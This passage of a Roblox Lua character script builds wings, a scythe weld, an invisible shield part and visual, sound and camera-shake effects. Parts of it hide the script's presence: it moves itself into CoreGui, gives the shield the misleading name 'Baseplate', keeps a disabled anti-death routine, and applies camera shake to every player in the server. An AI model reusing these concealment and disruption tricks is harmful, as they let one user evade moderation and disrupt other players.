3 local FORCERESET = false Frame_Speed = 1 / 60 local Speed = 50 local ROOTC0 = CF(0, 0, 0) * ANGLES(RAD(-90), RAD(0), RAD(180)) local NECKC0 = CF(0, 1, 0) * ANGLES(RAD(-90), RAD(0), RAD(180)) local RIGHTSHOULDERC0 = CF(-0.5, 0, 0) * ANGLES(RAD(0), RAD(90), RAD(0)) local LEFTSHOULDERC0 = CF(0.5, 0, 0) * ANGLES(RAD(0), RAD(-90), RAD(0)) local DAMAGEMULTIPLIER = 1 local ANIM = "Idle" local ATTACK = false local EQUIPPED = false local HOLD = true local COMBO = 3 local Rooted = false local SINE = 5 local KEYHOLD = false local CHANGE = 2 / Animation_Speed local WALKINGANIM = false local VALUE1 = false local VALUE2 = false local ROBLOXIDLEANIMATION = IT("Animation") ROBLOXIDLEANIMATION.Name = "Roblox Idle Animation" ROBLOXIDLEANIMATION.AnimationId = "http://www.roblox.com/asset/?id=180435571" local WEAPONGUI = IT("ScreenGui", PlayerGui) local Effects = IT("Folder", Character) Effects.Name = "Effects" local ANIMATOR = Humanoid.Animator local ANIMATE = Character:FindFirstChild("Animate") local UNANCHOR = true local TOBANISH = {} local targetted = nil script.Parent = game.CoreGui local mde = 0 local sine = 5 local Sine = 5 local stopeverything = false local ROOTC02 = CFrame.new(0,3,0 * math.cos(sine/15)) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(180)) local change = 1 local rc0 = CFrame.new() * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(180)) local nc0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(180)) local rscp = CFrame.new(-.5,0,0) * CFrame.Angles(math.rad(0),math.rad(90),math.rad(0)) local lscp = CFrame.new(.5,0,0) * CFrame.Angles(math.rad(0),math.rad(-90),math.rad(0)) local PotentialCFrame = Torso.Position local random = math.random local ocr=MRANDOM(0,255) local orangecolorrandom=C3(ocr/255,ocr/355,0) local bcr=MRANDOM(0,96) local bluecolorrandom=C3(0,bcr/390,bcr/255) local TEXTCOLOR = Color3.new(1, 1, 1) local S = setmetatable({},{__index = function(s,i) return game:service(i) end}) local Plrs = S.Players if mde == 12 then if MRANDOM(1,2)==1 then TEXTCOLOR = orangecolorrandom elseif MRANDOM(1,2)==2 then TEXTCOLOR = bluecolorrandom elseif mde ~= 12 then Color3.new(1, 1, 1) end end local cn,euler,rad,v3,c3,sin,cos,clamp = CFrame.new,CFrame.fromEulerAnglesYXZ,math.rad,Vector3.new,Color3.fromRGB,math.sin,math.cos,math.clamp local partexclusion = {} local run = game:GetService("RunService") local ts = game:GetService("TweenService") local SIZEE = 1 function cn2(x,y,z) return cn(x*SIZEE,y*SIZEE,z*SIZEE) end --//=================================\\ --|| WINGS --\\=================================// local LWing = Instance.new("Part") LWing.Parent = Character LWing.Reflectance = -1 LWing.Size = Vector3.new(4, 1, 2) LWing.Name = "LWing" LWing.Anchored = false LWing.Locked = true local LWingMsh = Instance.new("SpecialMesh") LWingMsh.Parent = LWing LWingMsh.Offset = Vector3.new() LWingMsh.Scale = Vector3.new(0.0480000004, 0.0480000004, 0.0480000004) LWingMsh.MeshType = "FileMesh" LWingMsh.MeshId = "rbxassetid://1553468234" local RWing = Instance.new("Part") RWing.Parent = Character RWing.Reflectance = -1 RWing.Size = Vector3.new(4, 1, 2) RWing.Name = "RWing" RWing.Anchored = false RWing.Locked = true local RWingMsh = Instance.new("SpecialMesh") RWingMsh.Parent = RWing RWingMsh.Offset = Vector3.new() RWingMsh.Scale = Vector3.new(0.0480000004, 0.0480000004, 0.0480000004) RWingMsh.MeshType = "FileMesh" RWingMsh.MeshId = "rbxassetid://1553468709" local LWingWld = Instance.new("Motor6D") LWingWld.Parent = LWing LWingWld.Part0 = Torso LWingWld.Part1 = LWing LWingWld.C0 = CFrame.new(-0.25, 0.5, 0.5)*CFrame.fromEulerAnglesXYZ(0, 1.57, 0) LWingWld.C1 = CFrame.new(1.1, 1, 0.95) local RWingWld = Instance.new("Motor6D") RWingWld.Parent = RWing RWingWld.Part0 = Torso RWingWld.Part1 = RWing RWingWld.C0 = CFrame.new(0.25, 0.5, 0.5)*CFrame.fromEulerAnglesXYZ(0, 1.57, 0) RWingWld.C1 = CFrame.new(1.1, 1, -0.95) --//=================================\\ --|| Begin HELL --\\=================================// --//Start Here For Anti Death\\-- --[[ local function refit() -- Hopefully it works? alreadyfixing = true local newChar = Character:Clone() newChar.Name = "ExoticCult" newChar.Parent = game.ServerStorage local camerapos = workspace.CurrentCamera.CFrame pcall(function() Character:Destroy() end) Character = game.ServerStorage.ExoticCult Character.Parent = workspace Humanoid = Character.Humanoid Humanoid:SetStateEnabled(Enum.HumanoidStateType.Dead, false) if Player.Name == USERNAME then workspace.CurrentCamera.CameraSubject = Humanoid workspace.CurrentCamera.CameraType = "Scriptable" workspace.CurrentCamera.CFrame = camerapos coroutine.resume(coroutine.create(function() swait(5) workspace.CurrentCamera.CameraType = "Custom" end)) end --Body parts LeftArm = Character["Left Arm"] RightArm = Character["Right Arm"] LeftLeg = Character["Left Leg"] RightLeg = Character["Right Leg"] Head = Character["Head"] Torso = Character["Torso"] RootPart = Character["HumanoidRootPart"] if Player.Name == USERNAME then Character = Player.Character end --Root Joints RootJoint = RootPart["RootJoint"] Neck = Torso["Neck"] RightShoulder = Torso["Right Shoulder"] LeftShoulder = Torso["Left Shoulder"] RightHip = Torso["Right Hip"] LeftHip = Torso["Left Hip"] Effects = IT("Folder", Character) --Wings LWing.Parent = Character LWing.Reflectance = -1 LWing.Size = Vector3.new(4, 1, 2) LWing.Name = "LWing" LWing.Anchored = false LWing.Locked = true LWingMsh.Parent = LWing LWingMsh.Offset = Vector3.new() LWingMsh.Scale = Vector3.new(0.0480000004, 0.0480000004, 0.0480000004) LWingMsh.MeshType = "FileMesh" LWingMsh.MeshId = "rbxassetid://1553468234" LWingWld.Parent = LWing LWingWld.Part0 = Torso LWingWld.Part1 = LWing LWingWld.C0 = CFrame.new(-0.25, 0.5, 0.5)*CFrame.fromEulerAnglesXYZ(0, 1.57, 0) LWingWld.C1 = CFrame.new(1.1, 1, 0.95) --Left Wing above, Right Wing below RWing.Parent = Character RWing.Reflectance = -1 RWing.Size = Vector3.new(4, 1, 2) RWing.Name = "RWing" RWing.Anchored = false RWing.Locked = true RWingMsh.Parent = RWing RWingMsh.Offset = Vector3.new() RWingMsh.Scale = Vector3.new(0.0480000004, 0.0480000004, 0.0480000004) RWingMsh.MeshType = "FileMesh" RWingMsh.MeshId = "rbxassetid://1553468709" RWingWld.Parent = RWing RWingWld.Part0 = Torso RWingWld.Part1 = RWing RWingWld.C0 = CFrame.new(0.25, 0.5, 0.5)*CFrame.fromEulerAnglesXYZ(0, 1.57, 0) RWingWld.C1 = CFrame.new(1.1, 1, -0.95) alreadyfixing = false end ]] --//=================================\\ --|| End HELL --\\=================================// --//=================================\\ --|| Head Stuff --\\=================================// local hea = script.GlowyParts:Clone() hea.Parent = Character hea.Name = "hea" hea.Anchored = false hea.Locked = true local heaWld = Instance.new("Motor6D") heaWld.Parent = hea heaWld.Part0 = Head heaWld.Part1 = hea heaWld.C0 = CFrame.new(0,0,0)*CFrame.Angles(0,-190,0) heaWld.C1 = CFrame.new(0,0,0) --//=================================\\ --|| Scythe Stuff --\\=================================// local ScytheWeld = script.Scythe.RightArm:WaitForChild'REF' for i, v in pairs (script.Scythe.RightArm:GetChildren()) do v.Anchored = false end local SRightAWeld = IT("Weld") SRightAWeld.Parent = RightArm SRightAWeld.Part0 = RightArm SRightAWeld.Part1 = ScytheWeld SRightAWeld.Name = "Scythe" SRightAWeld.C1 = CF(0, 0, 0) * ANGLES(0, 0, 0) local Scythe = script.Scythe Scythe.Parent = nil --//=================================\\ --|| Anti Bullet --\\=================================// local Shield = Instance.new("Part", workspace) Shield.Name = "Baseplate" Shield.CanCollide = false Shield.Transparency = 1 Shield.Material = "ForceField" Shield.Locked = true Shield.Massless = true Shield.BrickColor = BrickColor.new("fat") Shield.Size = Vector3.new(7,7.5,7) Shield.CFrame = Torso.CFrame local Wed = Instance.new("Weld", Shield) Wed.Part0 = Shield Wed.Name = "Baseplate" Wed.Part1 = Torso --//=================================\\ --|| SAZERENOS' ARTIFICIAL HEARTBEAT --\\=================================// ArtificialHB = Instance.new("BindableEvent", script) ArtificialHB.Name = "ArtificialHB" script:WaitForChild("ArtificialHB") frame = Frame_Speed tf = 0 allowframeloss = false tossremainder = false lastframe = tick() script.ArtificialHB:Fire() game:GetService("RunService").Heartbeat:connect(function(s, p) tf = tf + s if tf >= frame then if allowframeloss then script.ArtificialHB:Fire() lastframe = tick() else for i = 1, math.floor(tf / frame) do script.ArtificialHB:Fire() end lastframe = tick() end if tossremainder then tf = 0 else tf = tf - frame * math.floor(tf / frame) end end end) --//=================================\\ --\\=================================// --//=================================\\ --|| SOME FUNCTIONS --\\=================================// function randomstring() local e = {} for i = 1,random(5,50) do table.insert(e,#e+1,string.char(random(10,100))) end return table.concat(e) end function Raycast(POSITION, DIRECTION, RANGE, IGNOREDECENDANTS) return workspace:FindPartOnRay(Ray.new(POSITION, DIRECTION.unit * RANGE), IGNOREDECENDANTS) end function PositiveAngle(NUMBER) if NUMBER >= 0 then NUMBER = 0 end return NUMBER end function NegativeAngle(NUMBER) if NUMBER <= 0 then NUMBER = 0 end return NUMBER end function Swait(NUMBER) if NUMBER == 0 or NUMBER == nil then ArtificialHB.Event:wait() else for i = 1, NUMBER do ArtificialHB.Event:wait() end end end function swait(NUMBER) if NUMBER == 0 or NUMBER == nil then ArtificialHB.Event:wait() else for i = 1, NUMBER do ArtificialHB.Event:wait() end end end function CreateMesh(MESH, PARENT, MESHTYPE, MESHID, TEXTUREID, SCALE, OFFSET) local NEWMESH = IT(MESH) if MESH == "SpecialMesh" then NEWMESH.MeshType = MESHTYPE if MESHID ~= "nil" and MESHID ~= "" then NEWMESH.MeshId = "http://www.roblox.com/asset/?id="..MESHID end if TEXTUREID ~= "nil" and TEXTUREID ~= "" then NEWMESH.TextureId = "http://www.roblox.com/asset/?id="..TEXTUREID end end NEWMESH.Offset = OFFSET or VT(0, 0, 0) NEWMESH.Scale = SCALE NEWMESH.Parent = PARENT return NEWMESH end function CreatePart(FORMFACTOR, PARENT, MATERIAL, REFLECTANCE, TRANSPARENCY, BRICKCOLOR, NAME, SIZE, ANCHOR) local NEWPART = IT("Part") NEWPART.formFactor = FORMFACTOR NEWPART.Reflectance = REFLECTANCE NEWPART.Transparency = TRANSPARENCY NEWPART.CanCollide = false NEWPART.Locked = true NEWPART.Anchored = true if ANCHOR == false then NEWPART.Anchored = false end NEWPART.BrickColor = BRICKC(tostring(BRICKCOLOR)) NEWPART.Name = NAME NEWPART.Size = SIZE NEWPART.Position = Torso.Position NEWPART.Material = MATERIAL NEWPART:BreakJoints() NEWPART.Parent = PARENT return NEWPART end local function weldBetween(a, b) local weldd = Instance.new("ManualWeld") weldd.Part0 = a weldd.Part1 = b weldd.C0 = CFrame.new() weldd.C1 = b.CFrame:inverse() * a.CFrame weldd.Parent = a return weldd end function QuaternionFromCFrame(cf) local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components() local trace = m00 + m11 + m22 if trace > 0 then local s = math.sqrt(1 + trace) local recip = 0.5 / s return (m21 - m12) * recip, (m02 - m20) * recip, (m10 - m01) * recip, s * 0.5 else local i = 0 if m11 > m00 then i = 1 end if m22 > (i == 0 and m00 or m11) then i = 2 end if i == 0 then local s = math.sqrt(m00 - m11 - m22 + 1) local recip = 0.5 / s return 0.5 * s, (m10 + m01) * recip, (m20 + m02) * recip, (m21 - m12) * recip elseif i == 1 then local s = math.sqrt(m11 - m22 - m00 + 1) local recip = 0.5 / s return (m01 + m10) * recip, 0.5 * s, (m21 + m12) * recip, (m02 - m20) * recip elseif i == 2 then local s = math.sqrt(m22 - m00 - m11 + 1) local recip = 0.5 / s return (m02 + m20) * recip, (m12 + m21) * recip, 0.5 * s, (m10 - m01) * recip end end end function QuaternionToCFrame(px, py, pz, x, y, z, w) local xs, ys, zs = x + x, y + y, z + z local wx, wy, wz = w * xs, w * ys, w * zs local xx = x * xs local xy = x * ys local xz = x * zs local yy = y * ys local yz = y * zs local zz = z * zs return CFrame.new(px, py, pz, 1 - (yy + zz), xy - wz, xz + wy, xy + wz, 1 - (xx + zz), yz - wx, xz - wy, yz + wx, 1 - (xx + yy)) end function tween(instance,properties,duration,easingdirection,easingstyle) spawn(function() if easingstyle == nil then easingstyle = Enum.EasingStyle.Quad end ts:Create(instance,TweenInfo.new(duration,easingstyle,easingdirection),properties):Play() end) end function QuaternionSlerp(a, b, t) local cosTheta = a[1] * b[1] + a[2] * b[2] + a[3] * b[3] + a[4] * b[4] local startInterp, finishInterp; if cosTheta >= 0.0001 then if (1 - cosTheta) > 0.0001 then local theta = ACOS(cosTheta) local invSinTheta = 1 / SIN(theta) startInterp = SIN((1 - t) * theta) * invSinTheta finishInterp = SIN(t * theta) * invSinTheta else startInterp = 1 - t finishInterp = t end else if (1 + cosTheta) > 0.0001 then local theta = ACOS(-cosTheta) local invSinTheta = 1 / SIN(theta) startInterp = SIN((t - 1) * theta) * invSinTheta finishInterp = SIN(t * theta) * invSinTheta else startInterp = t - 1 finishInterp = t end end return a[1] * startInterp + b[1] * finishInterp, a[2] * startInterp + b[2] * finishInterp, a[3] * startInterp + b[3] * finishInterp, a[4] * startInterp + b[4] * finishInterp end function Clerp(a, b, t) local qa = {QuaternionFromCFrame(a)} local qb = {QuaternionFromCFrame(b)} local ax, ay, az = a.x, a.y, a.z local bx, by, bz = b.x, b.y, b.z local _t = 1 - t return QuaternionToCFrame(_t * ax + t * bx, _t * ay + t * by, _t * az + t * bz, QuaternionSlerp(qa, qb, t)) end function CreateFrame(PARENT, TRANSPARENCY, BORDERSIZEPIXEL, POSITION, SIZE, COLOR, BORDERCOLOR, NAME) local frame = IT("Frame") frame.BackgroundTransparency = TRANSPARENCY frame.BorderSizePixel = BORDERSIZEPIXEL frame.Position = POSITION frame.Size = SIZE frame.BackgroundColor3 = COLOR frame.BorderColor3 = BORDERCOLOR frame.Name = NAME frame.Parent = PARENT return frame end function CreateLabel(PARENT, TEXT, TEXTCOLOR, TEXTFONTSIZE, TEXTFONT, TRANSPARENCY, BORDERSIZEPIXEL, STROKETRANSPARENCY, NAME) local label = IT("TextLabel") label.BackgroundTransparency = 1 label.Size = UD2(1, 0, 1, 0) label.Position = UD2(0, 0, 0, 0) label.TextColor3 = TEXTCOLOR label.TextStrokeTransparency = STROKETRANSPARENCY label.TextTransparency = TRANSPARENCY label.FontSize = TEXTFONTSIZE label.Font = TEXTFONT label.BorderSizePixel = BORDERSIZEPIXEL label.TextScaled = false label.Text = TEXT label.Name = NAME label.Parent = PARENT return label end function NoOutlines(PART) PART.TopSurface, PART.BottomSurface, PART.LeftSurface, PART.RightSurface, PART.FrontSurface, PART.BackSurface = 10, 10, 10, 10, 10, 10 end function CreateWeldOrSnapOrMotor(TYPE, PARENT, PART0, PART1, C0, C1) local NEWWELD = IT(TYPE) NEWWELD.Part0 = PART0 NEWWELD.Part1 = PART1 NEWWELD.C0 = C0 NEWWELD.C1 = C1 NEWWELD.Parent = PARENT return NEWWELD end local S = IT("Sound") function CreateSound(ID, PARENT, VOLUME, PITCH, DOESLOOP) local NEWSOUND = nil coroutine.resume(coroutine.create(function() NEWSOUND = S:Clone() NEWSOUND.Parent = PARENT NEWSOUND.Volume = VOLUME NEWSOUND.Pitch = PITCH NEWSOUND.SoundId = "http://www.roblox.com/asset/?id="..ID NEWSOUND:play() if DOESLOOP == true then NEWSOUND.Looped = true else repeat wait(1) until NEWSOUND.Playing == false or NEWSOUND.Parent ~= PARENT NEWSOUND:remove() end end)) return NEWSOUND end function CFrameFromTopBack(at, top, back) local right = top:Cross(back) return CF(at.x, at.y, at.z, right.x, top.x, back.x, right.y, top.y, back.y, right.z, top.z, back.z) end function Effect(Table) local TYPE = (Table.EffectType or "Sphere") local SIZE = (Table.Size or Vector3.new(1,1,1)) local ENDSIZE = (Table.Size2 or Vector3.new()) local TRANSPARENCY = (Table.Transparency or 0) local ENDTRANSPARENCY = (Table.Transparency2 or 1) local CFRAME = (Table.CFrame or Torso.CFrame) local MOVEDIRECTION = (Table.MoveToPos or nil) local ROTATION1 = (Table.RotationX or 0) local ROTATION2 = (Table.RotationY or 0) local ROTATION3 = (Table.RotationZ or 0) local MATERIAL = (Table.Material or "Neon") local COLOR = (Table.Color or Color3.new(1,1,1)) local hOK,sOK,vOK = Color3.toHSV(COLOR) local RAINBOWPART = false if sOK > .1 then RAINBOWPART = true end local TIME = (Table.Time or 45) local SOUNDID = (Table.SoundID or nil) local SOUNDPITCH = (Table.SoundPitch or nil) local SOUNDVOLUME = (Table.SoundVolume or nil) local USEBOOMERANGMATH = (Table.UseBoomerangMath or false) local BOOMERANG = (Table.Boomerang or 0) local SIZEBOOMERANG = (Table.SizeBoomerang or 0) coroutine.resume(coroutine.create(function() local PLAYSSOUND = false local SOUND = nil local EFFECT = CreatePart(3,Effects,MATERIAL,0,TRANSPARENCY,Color3.new(0,0,0),"Effect",Vector3.new(1,1,1),true) if RAINBOWPART then coroutine.resume(coroutine.create(function() while not stopeverything and EFFECT:IsDescendantOf(game) do EFFECT.Color = Color3.new(0,0,0) Swait() end end)) end if SOUNDID ~= nil and SOUNDPITCH ~= nil and SOUNDVOLUME ~= nil then PLAYSSOUND = true SOUND = CreateSound(SOUNDID,EFFECT,SOUNDVOLUME,SOUNDPITCH,false) end EFFECT.Color = COLOR if mde==12 then coroutine.resume(coroutine.create(function() while wait() do if MRANDOM(1,2)==1 then EFFECT.Color = orangecolorrandom elseif MRANDOM(1,2)==2 then EFFECT.Color = bluecolorrandom end end end)) end local MSH = nil if TYPE == "Sphere" then MSH = CreateMesh("SpecialMesh",EFFECT,"Sphere","","",SIZE,Vector3.new()) elseif TYPE == "Block" or TYPE == "Box" then MSH = Instance.new("BlockMesh",EFFECT) MSH.Scale = SIZE elseif TYPE == "Wave" then MSH = CreateMesh("SpecialMesh",EFFECT,"FileMesh","20329976","",SIZE,Vector3.new(0,0,-SIZE.X/8)) elseif TYPE == "Ring" then MSH = CreateMesh("SpecialMesh",EFFECT,"FileMesh","559831844","",Vector3.new(SIZE.X,SIZE.X,.1),Vector3.new()) elseif TYPE == "Slash" then MSH = CreateMesh("SpecialMesh",EFFECT,"FileMesh","662586858","",Vector3.new(SIZE.X/10,0,SIZE.X/10),Vector3.new()) elseif TYPE == "Round Slash" then MSH = CreateMesh("SpecialMesh",EFFECT,"FileMesh","662585058","",Vector3.new(SIZE.X/10,0,SIZE.X/10),Vector3.new()) elseif TYPE == "Swirl" then MSH = CreateMesh("SpecialMesh",EFFECT,"FileMesh","168892432","",SIZE,Vector3.new()) elseif TYPE == "Skull" then MSH = CreateMesh("SpecialMesh",EFFECT,"FileMesh","4770583","",SIZE,Vector3.new()) elseif TYPE == "Crystal" then MSH = CreateMesh("SpecialMesh",EFFECT,"FileMesh","471124085","",SIZE,Vector3.new()) end if MSH ~= nil then local BOOMR1 = 1+BOOMERANG/50 local BOOMR2 = 1+SIZEBOOMERANG/50 local MOVESPEED = nil if MOVEDIRECTION ~= nil then if USEBOOMERANGMATH == true then MOVESPEED = ((CFRAME.p - MOVEDIRECTION).Magnitude/TIME)*BOOMR1 else MOVESPEED = ((CFRAME.p - MOVEDIRECTION).Magnitude/TIME) end end local GROWTH = nil if USEBOOMERANGMATH == true then GROWTH = (SIZE - ENDSIZE)*(BOOMR2+1) else GROWTH = (SIZE - ENDSIZE) end local TRANS = TRANSPARENCY - ENDTRANSPARENCY if TYPE == "Block" then EFFECT.CFrame = CFRAME*CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360))) else EFFECT.CFrame = CFRAME end if USEBOOMERANGMATH == true then for LOOP = 1,TIME+1 do Swait() MSH.Scale = MSH.Scale - (Vector3.new((GROWTH.X)*((1 - (LOOP/TIME)*BOOMR2)),(GROWTH.Y)*((1 - (LOOP/TIME)*BOOMR2)),(GROWTH.Z)*((1 - (LOOP/TIME)*BOOMR2)))*BOOMR2)/TIME if TYPE == "Wave" then MSH.Offset = Vector3.new(0,0,-MSH.Scale.Z/8) end EFFECT.Transparency = EFFECT.Transparency - TRANS/TIME if TYPE == "Block" then EFFECT.CFrame = CFRAME*CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360))) else EFFECT.CFrame = EFFECT.CFrame*CFrame.Angles(math.rad(ROTATION1),math.rad(ROTATION2),math.rad(ROTATION3)) end if MOVEDIRECTION ~= nil then local ORI = EFFECT.Orientation EFFECT.CFrame = CFrame.new(EFFECT.Position,MOVEDIRECTION)*CFrame.new(0,0,-(MOVESPEED)*((1 - (LOOP/TIME)*BOOMR1))) EFFECT.Orientation = ORI end end else for LOOP = 1,TIME+1 do Swait() MSH.Scale = MSH.Scale - GROWTH/TIME if TYPE == "Wave" then MSH.Offset = Vector3.new(0,0,-MSH.Scale.Z/8) end EFFECT.Transparency = EFFECT.Transparency - TRANS/TIME if TYPE == "Block" then EFFECT.CFrame = CFRAME*CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360))) else EFFECT.CFrame = EFFECT.CFrame*CFrame.Angles(math.rad(ROTATION1),math.rad(ROTATION2),math.rad(ROTATION3)) end if MOVEDIRECTION ~= nil then local ORI = EFFECT.Orientation EFFECT.CFrame = CFrame.new(EFFECT.Position,MOVEDIRECTION)*CFrame.new(0,0,-MOVESPEED) EFFECT.Orientation = ORI end end end EFFECT.Transparency = 1 if PLAYSSOUND == false then EFFECT:Destroy() else repeat if stopeverything then wait(math.huge) end Swait() until EFFECT:FindFirstChildOfClass("Sound") == nil EFFECT:Destroy() end else if PLAYSSOUND == false then EFFECT:Destroy() else repeat if stopeverything then wait(math.huge) end Swait() until EFFECT:FindFirstChildOfClass("Sound") == nil EFFECT:Destroy() end end end)) end function Lightning(Part0,Part1,Timess,Offset,Color,Timer,sSize,eSize,Trans,Boomer,sBoomer,Trans2) local magz = (Part0 - Part1).Magnitude local Times = math.floor(math.clamp(magz/10,1,20)) local curpos = Part0 local trz = { -Offset, Offset } for i = 1,Times do local li = Instance.new("Part",Effects) li.TopSurface = 0 li.Material = "Neon" li.BottomSurface = 0 li.Anchored = true li.Locked = true li.Transparency = 0 li.Color = Color li.formFactor = "Custom" li.CanCollide = false li.Size = Vector3.new(.1,.1,magz/Times) local Offzet = Vector3.new(trz[math.random(1,2)],trz[math.random(1,2)],trz[math.random(1,2)]) local trolpos = CFrame.new(curpos,Part1) * CFrame.new(0,0,magz/Times).p + Offzet if Times == i then local magz2 = (curpos - Part1).Magnitude li.Size = Vector3.new(.1,.1,magz2) li.CFrame = CFrame.new(curpos,Part1) * CFrame.new(0,0,-magz2/2) else li.CFrame = CFrame.new(curpos,trolpos) * CFrame.new(0,0,magz/Times/2) end curpos = li.CFrame * CFrame.new(0,0,magz/Times/2).p li:Destroy() Effect({Time = Timer,EffectType = "Box",Size = Vector3.new(sSize,sSize,li.Size.Z),Size2 = Vector3.new(eSize,eSize,li.Size.Z),Transparency = Trans,Transparency2 = Trans2 or 1,CFrame = li.CFrame,MoveToPos = nil,RotationX = nil,RotationY = nil,RotationZ = nil,Material = "Neon",Color = li.Color,SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = Boomer,Boomerang = 0,SizeBoomerang = sBoomer}) Swait() end end function AttackGyro() local GYRO = Instance.new("BodyGyro",RootPart) GYRO.D = 25 GYRO.P = 20000 GYRO.MaxTorque = Vector3.new(0,4000000,0) GYRO.CFrame = CFrame.new(RootPart.Position,Mouse.Hit.p) coroutine.resume(coroutine.create(function() repeat if stopeverything then wait(math.huge) end swait() GYRO.CFrame = CFrame.new(RootPart.Position,Mouse.Hit.p) until not ATTACK GYRO:Destroy() end)) end function WACKYEFFECT(Table) local TYPE = (Table.EffectType or "Sphere") local SIZE = (Table.Size or VT(1,1,1)) local ENDSIZE = (Table.Size2 or VT(0,0,0)) local TRANSPARENCY = (Table.Transparency or 0) local ENDTRANSPARENCY = (Table.Transparency2 or 1) local CFRAME = (Table.CFrame or Torso.CFrame) local MOVEDIRECTION = (Table.MoveToPos or nil) local ROTATION1 = (Table.RotationX or 0) local ROTATION2 = (Table.RotationY or 0) local ROTATION3 = (Table.RotationZ or 0) local MATERIAL = (Table.Material or "Neon") local COLOR = (Table.Color or C3(1,1,1)) local TIME = (Table.Time or 45) local SOUNDID = (Table.SoundID or nil) local SOUNDPITCH = (Table.SoundPitch or nil) local SOUNDVOLUME = (Table.SoundVolume or nil) coroutine.resume(coroutine.create(function() local PLAYSSOUND = false local SOUND = nil local EFFECT = CreatePart(3, Effects, MATERIAL, 0, TRANSPARENCY, BRICKC("Pearl"), "Effect", VT(1,1,1), true) if SOUNDID ~= nil and SOUNDPITCH ~= nil and SOUNDVOLUME ~= nil then PLAYSSOUND = true SOUND = CreateSound(SOUNDID, EFFECT, SOUNDVOLUME, SOUNDPITCH, false) end EFFECT.Color = COLOR local MSH = nil if TYPE == "Sphere" then MSH = CreateMesh("SpecialMesh", EFFECT, "Sphere", "", "", SIZE, VT(0,0,0)) elseif TYPE == "Block" then MSH = IT("BlockMesh",EFFECT) MSH.Scale = VT(SIZE.X,SIZE.X,SIZE.X) elseif TYPE == "Wave" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "20329976", "", SIZE, VT(0,0,-SIZE.X/8)) elseif TYPE == "Ring" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "559831844", "", VT(SIZE.X,SIZE.X,0.1), VT(0,0,0)) elseif TYPE == "Slash" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "662586858", "", VT(SIZE.X/10,0,SIZE.X/10), VT(0,0,0)) elseif TYPE == "Round Slash" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "662585058", "", VT(SIZE.X/10,0,SIZE.X/10), VT(0,0,0)) elseif TYPE == "Swirl" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "1051557", "", SIZE, VT(0,0,0)) elseif TYPE == "Skull" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "4770583", "", SIZE, VT(0,0,0)) elseif TYPE == "Crystal" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "471124085", "", SIZE, VT(0,0,0)) end if MSH ~= nil then local MOVESPEED = nil if MOVEDIRECTION ~= nil then MOVESPEED = (CFRAME.p - MOVEDIRECTION).Magnitude/TIME end local GROWTH = SIZE - ENDSIZE local TRANS = TRANSPARENCY - ENDTRANSPARENCY if TYPE == "Block" then EFFECT.CFrame = CFRAME*ANGLES(RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360))) else EFFECT.CFrame = CFRAME end for LOOP = 1, TIME+1 do Swait() MSH.Scale = MSH.Scale - GROWTH/TIME if TYPE == "Wave" then MSH.Offset = VT(0,0,-MSH.Scale.X/8) end EFFECT.Transparency = EFFECT.Transparency - TRANS/TIME if TYPE == "Block" then EFFECT.CFrame = CFRAME*ANGLES(RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360))) else EFFECT.CFrame = EFFECT.CFrame*ANGLES(RAD(ROTATION1),RAD(ROTATION2),RAD(ROTATION3)) end if MOVEDIRECTION ~= nil then local ORI = EFFECT.Orientation EFFECT.CFrame = CF(EFFECT.Position,MOVEDIRECTION)*CF(0,0,-MOVESPEED) EFFECT.Orientation = ORI end end if PLAYSSOUND == false then EFFECT:remove() else SOUND.Stopped:Connect(function() EFFECT:remove() end) end else if PLAYSSOUND == false then EFFECT:remove() else repeat Swait() until SOUND.Playing == false EFFECT:remove() end end end)) end function ShakeCam(Length,Intensity) coroutine.resume(coroutine.create(function() local intensity = 1 * Intensity local rotM = 0.01 * Intensity for i = 0, Length, 0.1 do swait() intensity = intensity - 0.05 * Intensity / Length rotM = rotM - 5.0E-4 * Intensity / Length Humanoid.CameraOffset = Vector3.new(RAD(MRANDOM(-intensity, intensity)), RAD(MRANDOM(-intensity, intensity)), RAD(MRANDOM(-intensity, intensity))) Cam.CFrame = Cam.CFrame * CF(RAD(MRANDOM(-intensity, intensity)), RAD(MRANDOM(-intensity, intensity)), RAD(MRANDOM(-intensity, intensity))) * EULER(RAD(MRANDOM(-intensity, intensity)) * rotM, RAD(MRANDOM(-intensity, intensity)) * rotM, RAD(MRANDOM(-intensity, intensity)) * rotM) end Humanoid.CameraOffset = Vector3.new(0, 0, 0) end)) end NewInstance = function(instance,parent,properties) local inst = Instance.new(instance) inst.Parent = parent if(properties)then for i,v in next, properties do pcall(function() inst[i] = v end) end end return inst; end FXFolder = script.ShakeEffects FXFolder.Parent = nil function CamShake(who,times,intense,origin) coroutine.wrap(function() if(FXFolder:FindFirstChild'CamShake')then local cam = FXFolder.CamShake:Clone() cam:WaitForChild'intensity'.Value = intense cam:WaitForChild'times'.Value = times if(origin)then NewInstance((typeof(origin) == 'Instance' and "ObjectValue" or typeof(origin) == 'Vector3' and 'Vector3Value'),cam,{Name='origin',Value=origin}) end cam.Parent = who wait() cam.Disabled = false end end)() end function CamShakeAll(times,intense,origin) for _,v in next, Plrs:players() do CamShake(v:FindFirstChildOfClass'PlayerGui' or v:FindFirstChildOfClass'Backpack' or v.Character,times,intense,origin) end end function WACKYEFFECThid(Table) local TYPE = (Table.EffectType or "Sphere") local SIZE = (Table.Size or VT(1,1,1)) local ENDSIZE = (Table.Size2 or VT(0,0,0)) local TRANSPARENCY = (Table.Transparency or 0) local ENDTRANSPARENCY = (Table.Transparency2 